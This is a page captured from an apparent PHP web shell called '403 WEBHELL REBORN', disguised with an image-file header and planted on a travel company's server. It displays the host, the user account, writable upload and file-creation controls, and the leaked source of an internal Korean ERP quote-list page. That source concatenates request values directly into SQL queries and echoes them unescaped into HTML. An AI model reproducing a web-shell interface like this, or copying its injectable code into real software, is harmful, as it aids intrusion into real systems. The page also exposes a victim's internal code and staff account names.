ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/erp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/erp/erp_easy_list.php
<?php
//echo $_SERVER['REQUEST_URI'];
//exit;
include "../../Lib/config.php";

if( ($_COOKIE['MemberLevel'] == $cf['agent_level'] || $_COOKIE['MemberLevel'] == $cf['trade_level']) ) {
    echo "<script>history.back();</script>";
}

include "../include/top.html";
include "_common.html";

$thisYear = date('Y',time());
$thisMonth = date("n", time());


$searchYearList = range($thisYear,2022);
$searchMonthList = range(1,12);


$sqlWhere = "WHERE isShow = 'Y' ";
if($srch_title){
    $sqlWhere .= " AND title LIKE '%{$srch_title}%' ";
}

if($srch_month){
    $thisMonth = $srch_month;
}

if($srch_month){

    $sqlWhere.= " AND ";

    if(!$srch_year){
        $srch_year = $thisYear;
    }

    if(strlen($srch_month) == 1){
        $srch_month = '0'.$srch_month;
    }


    if($srch_month == 'all'){
        $srch_month = '';
    }

    $srchDate = $srch_year.'-'.$srch_month;
    $sqlWhere.= " ins_dt LIKE '{$srchDate}%'";
}

if(!$srch_year && !$srch_month && !$srch_title){
    if(strlen($thisMonth) == 1){
        $thisMonth = '0'.$thisMonth;
    }

    $insDt = $thisYear.'-'.$thisMonth;
    $sqlWhere = "WHERE isShow = 'Y' AND ins_dt LIKE '{$insDt}%' ";
}

//if(devCookie()){
if($ins_id){
    if($ins_id == 'all'){

    }else{
        if(!$sqlWhere){
            $sqlWhere = "WHERE ins_id = '{$ins_id}' ";
        }else{
            $sqlWhere .= " AND  ins_id = '{$ins_id}' ";
        }
    }

}
//}


$sql = "SELECT * FROM TB_EASY_ERP {$sqlWhere} ORDER BY seq DESC";

/*if(devCookie()){
    $sql = "SELECT * FROM TB_EASY_ERP WHERE seq = 176";
}*/

$rs = db_query($sql);
$data = array();
while($row = db_fetch_array($rs)){
    array_push($data, $row);
}


/*if(devCookie()){
    p($data);
}*/

// 담당자
$admin_arr = member_fetch(" and mb_level <= 10 and del_flag='N' ");
$admin_arr = array_reverse($admin_arr);

$adminUser = array();
foreach ($admin_arr as $item){
    $adminUser[$item['mb_id']] = $item;
}
?>
<style>
    #Content_box{display: flex;flex-direction: row;flex-wrap: wrap;}
    #Content_box .contents{float:left;width:45%;display:block;;margin-top:20px}
    #Content_box .contents:nth-child(2n) {margin-left:1%}
    #Content_box .contents .titleArea{clear:both;float:left;width:100%;margin:5px 0 0 0;padding:1rem 0;background:#000;color:#fff;text-align:center}
    #Content_box .contents .titleArea h2{color:#fff; padding:0 !important;}
    #Content_box .contents .titleArea input{display:none}
    #Content_box .contents table{clear:both;float:left;width:100%;background:#fff}
    #Content_box .contents table th{border:1px solid #ccc;padding:0.5rem 0.5rem;color:#000}
    #Content_box .contents table td{padding:0.5rem 0.5rem;border:1px solid #c6c6c6;color:#000}
    #Content_box .contents .easyErpTitleTr th{background:skyblue;text-align:center}
    #Content_box .contents .easyErpTitleTr2 {background:#fffc38;text-align:center}
    #Content_box .contents .easyErpTitleTr2 td{text-align:center}
    #Content_box .contents .easyErpTitleTr3 {background:#ffd265;text-align:center}
    #Content_box .contents .easyErpTitleTr3 td{background:#ffd265;text-align:center}
    #Content_box .contents .easyErpTitleTr3 td:nth-child(4){/*color:#f00f00*/;font-weight:bold}
    #Content_box .contents table td:nth-child(2),#Content_box .contents table td:nth-child(3),#Content_box .contents table td:nth-child(4){text-align:right}

    .form_list .on a{height:26px !important}
    .editBox{clear:both;float:right}
    #Content_box .contents table td input{display:none}


    .tbFieldArea{padding:0.5rem 0.5rem}

    .easyErpScheduleArea{cleaR:both;float:left;width:100%;margin:0;display:none}
    .easyErpScheduleArea textarea{background:#fff;min-height:300px;width:100%; vertical-align: middle;}
    .easyErpScheduleDate{float:left;width:49%}
    .easyErpScheduleContents{float:right;width:49%}
    .writingData{float:left;position:relative;top:16px;left:4px}
    .item_period_date li{cursor:pointer}
    .blue2{color:blue !important;}
    .red2{color:#f00f00 !important;}
</style>
<div class="contents_wrap">
    <div class="contents_wrap_in">
        <div class="title">
            <strong>간편 견적서 리스트</strong>
        </div>
        <div class="contents_detail">
            <form name="frm_search" id="frm_search" method="get">
                <div class="c_top_bar_search">
                    <table width="" border="0" cellpadding="0" cellspacing="0" summary="여행상품 예약관리 통합검색입니다." class="c_top_table">
                        <input type="hidden" name="srch_month" id="srch_month" value="<?=$thisMonth?>" />
                        <tbody>
                        <tr>
                            <th style="width:unset;padding:6px !important;border-right:1px solid #9c9c9c;border-bottom:1px solid #9c9c9c">검색년월</th>
                            <td style="border-right:1px solid #9c9c9c;border-bottom:1px solid #9c9c9c">
                                <ul class="form_list">
                                    <li>
                                        <select name="srch_year">
                                            <?php
                                            foreach($searchYearList as $item){
                                                ?>
                                                <option <?=($srch_year == $item) ? 'selected' : ''?> value="<?=$item?>"><?=$item?>년</option>
                                                <?php
                                            }
                                            ?>
                                        </select>
                                    </li>
                                    <li>
                                        <ul class="form_in_btn item_period_date">
                                            <li month="all" class="<?=(($srch_month == 'all' || !$srch_month) ? 'on' : '')?>">
                                                <a style="color:/*#cf2d36;*/font-weight:700">전체</a>
                                            </li>
                                            <?php
                                            foreach($searchMonthList as $item){
                                                ?>
                                                <li month="<?=$item?>" class="<?=(($thisMonth == $item) ? 'on' : '')?>">
                                                    <a  style="color:/*#cf2d36;*/font-weight:700"><?=$item?>월</a>
                                                </li>
                                                <?php
                                            }
                                            ?>
                                        </ul>
                                    </li>
                                </ul>
                            </td>


                            <td style="border-right:1px solid #9c9c9c;border-bottom:1px solid #9c9c9c;padding-left:6px;padding-right:6px">

                                <select name="ins_id" id="ins_id">
                                    <option value="all">작성자 전체</option>
                                    <?php
                                    foreach ($admin_arr as $item){
                                        ?>
                                        <option value="<?=$item['mb_id']?>" <?=(($ins_id == $item['mb_id']) ? 'selected' : '')?>><?=$item['mb_nm']?></option>
                                        <?php
                                    }
                                    ?>
                                </select>
                            </td>

                            <th style="width:unset;padding:6px !important;border-right:1px solid #9c9c9c;border-bottom:1px solid #9c9c9c">
                                제목 검색
                            </th>
                            <td style="border-right:1px solid #9c9c9c;border-bottom:1px solid #9c9c9c;">
                                <ul class="form_list">
                                    <!--                                        <form name="srchEasyErp" method="get" action="./erp_easy_list.php"></form>-->
                                    <li class="">
                                        <button disabled="" class="btn_search" style="background: none;color: #ff6d0c;border: none;cursor: pointer;position: relative;border: 1px solid #d3d3d3;left: 6px;border-right:none;float:left;width:23px;height:28px;"><i class="xi-magnifier xi-x"></i></button>
                                        <input type="text" style="border-left:none;width:206px" name="srch_title" value="<?=$srch_title?>"/>
                                    </li>
                                    <li class="">
                                        <!--                                            <a href="" class="sch_btn">검색</a>-->
                                        <input type="submit" value="검색" id="searchEasyErpBtn" style="height:28px" class="sch_btn"/>
                                    </li>
                                    <!--                                        </form>-->
                                    <li class="">
                                        <a href="/toadmin/erp/erp_easy_list_reg.php" target="_blank" style="padding:5px 15px" class="Tbtn red">등록하기</a>
                                        <!--                                            <input type="button" class="Tbtn red" value="등록하기" onclick="">-->
                                    </li>

                                </ul>
                            </td>

                        </tr>
                        </tbody>
                    </table>
                </div>
            </form>
            <?php
            if(isset($_GET['del'])){
                if($TO_MB['mb_id'] == 'tktravel' || $TO_MB['mb_id'] == 'developer3'){
                    ?>
                    <div class="delArea">
                        <a class="Tbtn gray" style="margin-top: 13px;padding: 3px 6px;margin-left: 16px;" href="./erp_easy_proc.php?SqlType=recovery&seq=<?=$_GET['del']?>">방금 삭제한 견적서 복원</a>
                    </div>
                    <?php
                }
            }
            ?>
            <div id="Content_box">
                <?php
                $tableNo = 1;

                /*if(devCookie()){
                    p($data);
                }*/
                foreach($data as $item){
                    ?>

                    <div class="contents">
                        <form method="post" action="./erp_easy_proc.php">
                            <input type="hidden" name="SqlType" value="copy" />
                            <input type="hidden" name="seq" value="<?=$item['seq']?>" />
                            <input class="Mini_icon green" type="submit" value="복사하기" style="height: 22px;padding: 1px 7px 1px;font-size: 12px;"/>
                        </form>

                        <form method="post" action="./erp_easy_proc.php">
                            <input type="hidden" name="SqlType" value="modify" />
                            <input type="hidden" name="seq" value="<?=$item['seq']?>" />


                            <?php
                            if($srch_month){
                                ?>
                                <input type="hidden" name="srch_month" value="<?=$srch_month?>" />
                                <?php
                            }
                            if($srch_year){
                                ?>
                                <input type="hidden" name="srch_year" value="<?=$srch_year?>" />
                                <?php
                            }
                            if($ins_id){
                                ?>
                                <input type="hidden" name="ins_id" value="<?=$ins_id?>" />
                                <?php
                            }

                            if($srch_title){
                                ?>
                                <input type="hidden" name="srch_title" value="<?=$srch_title?>" />
                                <?php
                            }
                            ?>

                            <div class="editBox">

                                <span style="display:none;width:unset;padding:5px 7px;margin-right: 1px;" tableNo="<?=$tableNo?>" class="sch_btn Tbtn gray addDepositRowBtn addDepositRowBtn<?=$tableNo?>">입금 +</span>
                                <span style="display:none;width:unset;padding:5px 7px;margin-right: 1px;" tableNo="<?=$tableNo?>" class="sch_btn Tbtn red2 removeDepositRowBtn removeDepositRowBtn<?=$tableNo?>">입금 -</span>


                                <span style="display:none;width:unset;padding:5px 7px;margin-right: 1px;" tableNo="<?=$tableNo?>" class="sch_btn Tbtn gray addExpenditureRowBtn addDepositRowBtn<?=$tableNo?>">지출 +</span>
                                <span style="display:none;width:unset;padding:5px 7px;margin-right: 1px;" tableNo="<?=$tableNo?>" class="sch_btn Tbtn red2 removeExpenditureRowBtn removeDepositRowBtn<?=$tableNo?>">지출 -</span>


                                <span style="width:unset;padding:5px 30px;margin-right: 1px;" class="sch_btn Tbtn gray modifyTb" tableNo="<?=$tableNo?>">수정</span>
                                <span style="width:unset;padding:5px 14px" class="sch_btn Tbtn gray viewScheduleBtn" tableNo="<?=$tableNo?>">일정보기</span>
                                <button style="display:none;padding:5px 20px;width:unset" class="sch_btn Tbtn red saveBtn<?=$tableNo?>">저장</button>
                                <?php
                                if($TO_MB['mb_id'] == 'tktravel' || $TO_MB['mb_id'] == 'developer3'){
                                    ?>
                                    <a href="./erp_easy_proc.php?SqlType=del&seq=<?=$item['seq']?>" class="Bbtn" style="padding: 5px 20px;position: relative;top: 1px;" target="_blank">삭제</a>
                                    <?php
                                }
                                ?>

                            </div>
                            <div class="writingData">
                                작성일 : <?=$item['ins_dt']?> /
                                작성자 : <?=$adminUser[$item['ins_id']]['mb_nm']?>
                            </div>

                            <div class="titleArea easyErpTitle<?=$tableNo?>">
                                <h2><?=$item['title']?></h2>
                                <input type="text" name="title" value="<?=$item['title']?>" style="width: 96%; position: relative; top: -5px; border: 1px solid #ccc;"/>
                            </div>

                            <div class="easyErpScheduleArea easyErpScheduleArea<?=$tableNo?>">
                                <div class="easyErpScheduleDate"  style="float:left;width:49%;border-left:1px solid #cfcfd1">
                                    <div style="width:100%;;_border-right:1px solid #cfcfd1;background:skyblue;font-weight:bold;text-align:center;padding:9px 0">출발일 & 가격표</div>
                                    <textarea name="schedule_date" style="padding-top:10px;text-align:center;border-right:none;;border-left:none" readonly><?=$item['schedule_date']?></textarea>
                                </div>
                                <div class="easyErpScheduleContents"   style="float:right;width:49%;border-right:1px solid #cfcfd1">
                                    <div style="width:100%;background:skyblue;border-right: 1px solid #cfcfd1;font-weight:bold;text-align:center;padding:9px 0">일정표</div>
                                    <textarea name="schedule_contents" style="padding-top:10px;float:right;border:none;_border-left: 1px solid #cfcfd1;width:96%;padding-left:4%;" readonly><?=$item['schedule_contents']?></textarea>

                                </div>
                            </div>




                            <table id="easyErpTb<?=$tableNo?>">
                                <!--<thead>
                                <tr class="easyErpTitleTr">
                                    <th style="width:286px">B2B 판매가</th>
                                    <th style="width:440px" colspan="3">일정표</th>
                                </tr>
                                </thead>-->
                                <tbody>
                                <tr class="easyErpTitleTr tbFieldArea">
                                    <td style="background:skyblue;text-align:center;width:303px">구분</td>
                                    <td style="background:skyblue;text-align:center;width:137px">인원/대</td>
                                    <td style="background:skyblue;text-align:center;width:142px">단가</td>
                                    <td style="background:skyblue;text-align:center;width:160px">가격</td>
                                </tr>

                                <?php
                                $deposit_total_price = 0;
                                $n = 0;
                                for($i = 1; $i <= 30; $i++){
                                    if($item['deposit_title'.$i] || $item['deposit_cnt'.$i] || $item['deposit_unit_price'.$i] || $item['deposit_total_price'.$i]){
                                        $deposit_total_price += (int) $item['deposit_total_price'.$i];
                                        $n++;
                                        ?>
                                        <tr>
                                            <td>
                                                <p><?=$item['deposit_title'.$i]?></p>
                                                <input type="text" name="deposit_title<?=$i?>" value="<?=$item['deposit_title'.$i]?>" style="width:96%;padding:0;height:35px;padding-left:4%;text-align:left;border:none"/>
                                            </td>
                                            <td>
                                                <p><?=number_format($item['deposit_cnt'.$i])?></p>
                                                <input type="text" name="deposit_cnt<?=$i?>" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value);calcuEasyErp(<?=$tableNo?>,'deposit',<?=$i?>)" value="<?=number_format($item['deposit_cnt'.$i])?>" style="width:96%;padding:0;height:35px;padding-right:4%;text-align:right;border:none"/>
                                            </td>
                                            <td>
                                                <p><?=number_format($item['deposit_unit_price'.$i])?></p>
                                                <input type="text" name="deposit_unit_price<?=$i?>" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value);calcuEasyErp(<?=$tableNo?>,'deposit',<?=$i?>)" value="<?=number_format($item['deposit_unit_price'.$i])?>" style="width:96%;padding:0;height:35px;padding-right:4%;text-align:right;border:none"/>
                                            </td>
                                            <td>
                                                <p style=""><?=number_format($item['deposit_total_price'.$i])?></p>
                                                <input style="width:96%;padding:0;height:35px;padding-right:4%;text-align:right;border:none" class="priceFinalInput deposit_total_price" type="text" value="<?=number_format($item['deposit_total_price'.$i])?>" name="deposit_total_price<?=$i?>" readonly/>
                                            </td>
                                        </tr>
                                        <?php
                                    }
                                }
                                ?>

                                <?php
                                $n += 1;
                                for($i = $n; $i <= 30; $i++){
                                    ?>

                                    <tr class="hideDepositRow" style="display:none">
                                        <td>
                                            <p></p>
                                            <input type="text" name="deposit_title<?=$i?>" value="" style="width:96%;padding:0;height:35px;padding-left:4%;text-align:left;border:none"/>
                                        </td>
                                        <td>
                                            <p></p>
                                            <input type="text" name="deposit_cnt<?=$i?>" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value);calcuEasyErp(<?=$tableNo?>,'deposit',<?=$i?>)" value="0" style="width:96%;padding:0;height:35px;padding-right:4%;text-align:right;border:none"/>
                                        </td>
                                        <td>
                                            <p></p>
                                            <input type="text" name="deposit_unit_price<?=$i?>" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value);calcuEasyErp(<?=$tableNo?>,'deposit',<?=$i?>)" value="0" style="width:96%;padding:0;height:35px;padding-right:4%;text-align:right;border:none"/>
                                        </td>
                                        <td>
                                            <p></p>
                                            <input style="width:96%;padding:0;height:35px;padding-right:4%;text-align:right;border:none" class="priceFinalInput deposit_total_price" type="text" value="0" name="deposit_total_price<?=$i?>" readonly/>
                                        </td>
                                    </tr>

                                    <?php
                                }
                                ?>


                                <tr class="easyErpTitleTr2">
                                    <td>입금 소계 (A)</td>
                                    <td></td>
                                    <td></td>
                                    <td class="deposit_all_total"><?=number_format($deposit_total_price)?></td>
                                </tr>


                                <?php
                                $expenditure_total_price = 0;
                                $n = 0;
                                for($i = 1; $i <= 30; $i++){
                                    if($item['expenditure_title'.$i] || $item['expenditure_cnt'.$i] || $item['expenditure_unit_price'.$i] || $item['expenditure_total_price'.$i]){
                                        $expenditure_total_price += (int) $item['expenditure_total_price'.$i];
                                        $n++;
                                        ?>
                                        <tr>
                                            <td>
                                                <p><?=$item['expenditure_title'.$i]?></p>
                                                <input type="text" name="expenditure_title<?=$i?>" value="<?=$item['expenditure_title'.$i]?>" style="width:96%;padding:0;height:35px;padding-left:4%;text-align:left;border:none"/>
                                            </td>
                                            <td>
                                                <p><?=number_format($item['expenditure_cnt'.$i])?></p>
                                                <input type="text" name="expenditure_cnt<?=$i?>" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value);calcuEasyErp(<?=$tableNo?>,'expenditure',<?=$i?>)" value="<?=number_format($item['expenditure_cnt'.$i])?>" style="width:96%;padding:0;height:35px;padding-right:4%;text-align:right;border:none"/>
                                            </td>
                                            <td>
                                                <p><?=number_format($item['expenditure_unit_price'.$i])?></p>
                                                <input type="text" name="expenditure_unit_price<?=$i?>" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value);calcuEasyErp(<?=$tableNo?>,'expenditure',<?=$i?>)" value="<?=number_format($item['expenditure_unit_price'.$i])?>" style="width:96%;padding:0;height:35px;padding-right:4%;text-align:right;border:none"/>
                                            </td>
                                            <td>
                                                <p><?=number_format($item['expenditure_total_price'.$i])?></p>
                                                <input style="width:96%;padding:0;height:35px;padding-right:4%;text-align:right;border:none" class="priceFinalInput expenditure_total_price" type="text" name="expenditure_total_price<?=$i?>" value="<?=number_format($item['expenditure_total_price'.$i])?>" readonly/>
                                            </td>
                                        </tr>
                                        <?php
                                    }
                                }
                                ?>

                                <?php
                                $n += 1;
                                for($i = $n; $i <= 30; $i++){
                                    ?>

                                    <tr class="hideExpenditureRow" style="display:none">
                                        <td>
                                            <p></p>
                                            <input type="text" name="expenditure_title<?=$i?>" value="" style="width:96%;padding:0;height:35px;padding-left:4%;text-align:left;border:none"/>
                                        </td>
                                        <td>
                                            <p></p>
                                            <input type="text" name="expenditure_cnt<?=$i?>" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value);calcuEasyErp(<?=$tableNo?>,'expenditure',<?=$i?>)" value="0" style="width:96%;padding:0;height:35px;padding-right:4%;text-align:right;border:none"/>
                                        </td>
                                        <td>
                                            <p></p>
                                            <input type="text" name="expenditure_unit_price<?=$i?>" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value);calcuEasyErp(<?=$tableNo?>,'expenditure',<?=$i?>)" value="0" style="width:96%;padding:0;height:35px;padding-right:4%;text-align:right;border:none"/>
                                        </td>
                                        <td>
                                            <p></p>
                                            <input style="width:96%;padding:0;height:35px;padding-right:4%;text-align:right;border:none" class="priceFinalInput expenditure_total_price" type="text" name="expenditure_total_price<?=$i?>" value="0" readonly/>
                                        </td>
                                    </tr>



                                    <?php
                                }
                                //                                    $companyRevenueValue = $expenditure_total_price - $deposit_total_price;
                                $companyRevenueValue = $deposit_total_price - $expenditure_total_price;
                                ?>


                                <tr class="easyErpTitleTr2">
                                    <td>지출 소계 (B)</td>
                                    <td></td>
                                    <td></td>
                                    <td class="expenditure_all_total">
                                        <?=number_format($expenditure_total_price)?>
                                    </td>
                                </tr>

                                <tr class="easyErpTitleTr3">
                                    <td>회사수익 (A-B)</td>
                                    <td></td>
                                    <td></td>

                                    <?php
                                    //회사수익 색
                                    $colorClass = "";
                                    $plusMinus = '';
                                    if($companyRevenueValue > 0){
                                        $colorClass = "blue2";
                                        $plusMinus = '+';
                                    }

                                    if($companyRevenueValue < 0){
                                        $colorClass = "red2";
                                    }
                                    ?>
                                    <td class="companyRevenueValue <?=$colorClass?>">
                                        <?=$plusMinus?><?=number_format($companyRevenueValue)?>
                                    </td>
                                </tr>
                                </tbody>
                            </table>
                        </form>
                    </div>
                    <?php
                    $tableNo++;
                }
                ?>
            </div>
        </div>
    </div>
</div>
<script type="text/javascript">
    $(function(){
        modifyTbBtn = $('.modifyTb');
        viewScheduleBtn = $('.viewScheduleBtn');

        modifyTbBtn.click(function(){
            $(this).hide();


            tableNo = $(this).attr('tableNo');

            $('#easyErpTb'+tableNo).css('border','2px solid red');

            // $(this).hide();
            $('.easyErpTitle'+tableNo + ' h2').hide();
            $('.easyErpTitle'+tableNo + ' input').show();

            $('.saveBtn'+tableNo).show();


            $('.addDepositRowBtn'+tableNo).show();
            $('.addExpenditureRowBtn'+tableNo).show();

            $('.removeDepositRowBtn'+tableNo).show();
            $('.removeExpenditureRowBtn'+tableNo).show();


            $('#easyErpTb'+tableNo+' td input').show();
            $('#easyErpTb'+tableNo+' td p').hide();
            $('#easyErpTb'+tableNo+' td').css('padding','0');

            // $('#easyErpTb'+tableNo+' tr td:nth-child(4) p').show();
            $('#easyErpTb'+tableNo+' tr td:nth-child(4) p').css('padding-right','5%')

            $('#easyErpTb'+tableNo+' .tbFieldArea td').css('padding','0.5rem');
            $('#easyErpTb'+tableNo+' .easyErpTitleTr2 td, .easyErpTitleTr3 td').css('padding','0.5rem');
            $('#easyErpTb'+tableNo+' .easyErpTitleTr3 td').css('padding','0.5rem');
            $('#easyErpTb'+tableNo+' input[name="deposit_title1"]').focus();

            $('.easyErpScheduleArea'+tableNo+' textarea').attr('readonly',false);
        })

        viewScheduleBtn.click(function(){
            tableNo = $(this).attr('tableNo');

            if($('.easyErpScheduleArea' + tableNo).css('display') == 'none'){
                $(this).text('일정닫기');
                $('.easyErpScheduleArea' + tableNo).slideDown();
            }else{
                $(this).text('일정보기');
                $('.easyErpScheduleArea' + tableNo).slideUp();
            }
        })

        $('.item_period_date li').click(function(){
            $('.item_period_date li').removeClass("on");
            $('#srch_month').val($(this).attr('month'));
            $(this).addClass('on');

            $('#searchEasyErpBtn').click();

        })

        $('#ins_id').change(function(){
            $('#searchEasyErpBtn').click();
        })


        addDepositRowBtn = $('.addDepositRowBtn');
        addExpenditureRowBtn = $('.addExpenditureRowBtn');

        addDepositRowBtn.click(function(){
            tableNo = $(this).attr('tableNo');
            rowAdd('Deposit',tableNo);
        })

        addExpenditureRowBtn.click(function(){
            tableNo = $(this).attr('tableNo');
            rowAdd('Expenditure',tableNo);
        })

        removeDepositRowBtn = $('.removeDepositRowBtn');
        removeExpenditureRowBtn = $('.removeExpenditureRowBtn');

        removeDepositRowBtn.click(function(){
            tableNo = $(this).attr('tableNo');
            rowRemove('Deposit',tableNo);
        })

        removeExpenditureRowBtn.click(function(){
            tableNo = $(this).attr('tableNo');
            rowRemove('Expenditure',tableNo);
        })
    })

    function rowAdd(erpType,tableNo){
        tableName = 'easyErpTb' + tableNo;

        document.getElementById(tableName).getElementsByClassName('hide' + erpType + 'Row')[0].style.display = 'table-row';
        document.getElementById(tableName).getElementsByClassName('hide' + erpType + 'Row')[0].removeAttribute('class');
    }

    function rowRemove(erpType,tableNo){
        tableName = 'easyErpTb' + tableNo;

        console.log('erpType is ' + erpType);
        console.log('tableNo is ' + tableNo);

        if(erpType == "Expenditure"){
            erpType2 = "expenditure";
        }else{
            erpType2 = "deposit";
        }

        for(i = 1; i <= 30; i++){
            console.log($('#'+tableName+' '+'input[name="'+erpType2+'_title'+i+'"]').val());
            console.log($('#'+tableName+' '+'input[name="'+erpType2+'_cnt'+i+'"]').val());
            console.log($('#'+tableName+' '+'input[name="'+erpType2+'_unit_price'+i+'"]').val());

            if($('#'+tableName+' '+'input[name="'+erpType2+'_title'+i+'"]').val() == "" && $('#'+tableName+' '+'input[name="'+erpType2+'_cnt'+i+'"]').val() == 0 && $('#'+tableName+' '+'input[name="'+erpType2+'_unit_price'+i+'"]').val() == 0){
                $('#'+tableName+' '+'input[name="'+erpType2+'_title'+i+'"]').parent().parent().addClass('hide'+erpType+'Row');
                $('#'+tableName+' '+'input[name="'+erpType2+'_title'+i+'"]').parent().parent().hide();
            }

        }




        // document.getElementById(tableName).getElementsByClassName('hide' + erpType + 'Row')[0].style.display = 'table-row';
        // document.getElementById(tableName).getElementsByClassName('hide' + erpType + 'Row')[0].removeAttribute('class');

        // for(i = 0; i < document.getElementById(tableName).getElementsByClassName('hide' + erpType + 'Row').length;)
    }


    function calcuEasyErp(tableNo, easyErpType, rowNo){
        tableName = 'easyErpTb' + tableNo;

        if(easyErpType == 'deposit'){
            deposit_cnt = $('#' + tableName + ' input[name="deposit_cnt'+rowNo+'"]').val();
            deposit_unit_price = $('#' + tableName + ' input[name="deposit_unit_price'+rowNo+'"]').val();

            deposit_cnt = deposit_cnt.replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","");
            deposit_unit_price = deposit_unit_price.replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","");

            totalSumValue = deposit_cnt * deposit_unit_price;
            totalSumValue = totalSumValue.toString();
            totalSumValue = comma(totalSumValue);

            $('#' + tableName + ' input[name="deposit_total_price'+rowNo+'"]').val(totalSumValue);

            deposit_total_price_total = 0;

            for(i = 0; i < document.getElementById(tableName).getElementsByClassName('deposit_total_price').length; i++){
                deposit_total_price = document.getElementById(tableName).getElementsByClassName('deposit_total_price')[i].value.replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","");

                console.log('deposit_total_price is ' + deposit_total_price);

                deposit_total_price_total += parseInt(deposit_total_price);
            }

            deposit_total_price_total = deposit_total_price_total.toString();
            deposit_total_price_total = comma(deposit_total_price_total);
            document.getElementById(tableName).getElementsByClassName('deposit_all_total')[0].innerText = deposit_total_price_total;
        }

        if(easyErpType == 'expenditure'){
            console.log('rowNo is ' + rowNo);
            expenditure_cnt = $('#' + tableName + ' input[name="expenditure_cnt'+rowNo+'"]').val();
            expenditure_unit_price = $('#' + tableName + ' input[name="expenditure_unit_price'+rowNo+'"]').val();

            expenditure_cnt = expenditure_cnt.replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","");
            expenditure_unit_price = expenditure_unit_price.replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","");

            console.log('expenditure_cnt is ' + expenditure_cnt);
            console.log('expenditure_unit_price is ' + expenditure_unit_price);

            totalSumValue = expenditure_cnt * expenditure_unit_price;

            console.log('totalSumValue is ' + totalSumValue);

            totalSumValue = totalSumValue.toString();
            totalSumValue = comma(totalSumValue);


            $('#' + tableName + ' input[name="expenditure_total_price'+rowNo+'"]').val(totalSumValue);

            expenditure_total_price_total = 0;

            for(i = 0; i < document.getElementById(tableName).getElementsByClassName('expenditure_total_price').length; i++){
                expenditure_total_price = document.getElementById(tableName).getElementsByClassName('expenditure_total_price')[i].value.replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","");
                expenditure_total_price_total += parseInt(expenditure_total_price);
            }

            expenditure_total_price_total = expenditure_total_price_total.toString();
            expenditure_total_price_total = comma(expenditure_total_price_total);
            document.getElementById(tableName).getElementsByClassName('expenditure_all_total')[0].innerText = expenditure_total_price_total;
        }


        //회사수익
        deposit_all_total = parseInt($('#' + tableName + ' .deposit_all_total').text().replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","")); //입금 소계
        expenditure_all_total = parseInt($('#'+ tableName + ' .expenditure_all_total').text().replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","").replace(",","")); //지출 소계

        // companyRevenueValue = expenditure_all_total - deposit_all_total;
        companyRevenueValue = deposit_all_total - expenditure_all_total;

        isPlus = false;
        if(companyRevenueValue > 0){
            isPlus = true;
        }
        companyRevenueValue = comma(companyRevenueValue.toString());

        $('#' + tableName + ' .companyRevenueValue').removeClass('blue2');
        $('#' + tableName + ' .companyRevenueValue').removeClass('red2');

        if(isPlus){
            companyRevenueValue = '+'+companyRevenueValue;
            $('#' + tableName + ' .companyRevenueValue').addClass('blue2');
            $('#' + tableName + ' .companyRevenueValue').removeClass('red2');

        }else{
            $('#' + tableName + ' .companyRevenueValue').removeClass('blue2');
            $('#' + tableName + ' .companyRevenueValue').addClass('red2');
        }


        $('#' + tableName + ' .companyRevenueValue').text(companyRevenueValue);
    }

</script>
<? include "../include/footer.html" ?>

Anon7 - 2021